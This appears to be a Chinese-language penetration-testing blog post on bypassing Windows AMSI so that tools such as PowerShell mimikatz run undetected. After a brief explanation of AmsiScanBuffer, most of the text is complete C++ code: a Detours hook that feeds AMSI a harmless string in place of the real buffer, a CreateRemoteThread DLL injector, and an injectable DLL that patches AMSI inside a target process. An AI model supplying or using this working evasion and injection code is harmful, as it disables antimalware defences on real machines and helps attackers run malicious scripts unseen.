* 之前大概学过相关的技术但没认真研究和总结过,最近又研究学习了一下,这里做一下总结和分享。大家在渗透的时候都用过powershell,powershell的功能可谓非常之强大,常用于信息搜集、入侵、下载、提权、权限维持、横向移动等。常用的框架有powersploit、Empire、Nishang等,那又是什么什么呢?Anti-Malware Scan Interface (AMSI),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到如下的错误。
产生这一错误的原因即为AMSI防护的效果。那么防护的原理是什么以及如果绕过呢?
查看amsi.dll中的导出函数,可以看到一个这样函数AmsiScanBuffer,在msdn上查找这个函数.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
传递给AmsiScanBuffer函数的最后一个参数是一个枚举类型指针名字为result,这个result将决定执行这个脚本是否是恶意。
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
#include <iostream>
#include <Windows.h>
#include <detours.h>
static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;
int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}
int main() {
std::cout << "[+] Hooking MessageBox" << std::endl;
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[+] Message Box Hooked" << std::endl;
MessageBox(NULL, L"My Message", L"My Caption", 0);
std::cout << "[+] Unhooking MessageBox" << std::endl;
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[+] Message Box Unhooked" << std::endl;
}
#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
////使用EICAR标准进行测试 https://en.wikipedia.org/wiki/EICAR_test_file
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
int main() {
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
// Anything above 32767 is considered malicious
std::cout << GetResultDescription(res) << std::endl;
}
#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
#define SAFE "SafeString"
//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
//Sets up detours to hook our function
void HookAmsi() {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
//Undoes the hooking we setup earlier
void UnhookAmsi() {
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
int main() {
//Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
//Declare test case to use
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
std::cout << "[+] Hooking AmsiScanBuffer" << std::endl;
HookAmsi();
std::cout << "[+] AmsiScanBuffer Hooked" << std::endl;
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
std::cout << GetResultDescription(res) << std::endl;
std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl;
UnhookAmsi();
std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
}
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if (procID == 0) {
return FALSE;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;
loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);
CloseHandle(hProc);
return TRUE;
}
//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap;
BOOL done;
PROCESSENTRY32 procEntry;
ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
done = Process32First(hSnap, &procEntry);
do {
if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));
return 0;
}
int main(int argc, char** argv)
{
const char* processName = argv[1];
char* dllName = argv[2];
DWORD procID = GetProcIDByName(processName);
std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
if (InjectDll(procID, dllName)) {
std::cout << "DLL now injected!" << std::endl;
} else {
std::cout << "DLL couldn't be injected" << std::endl;
}
}
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer << std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}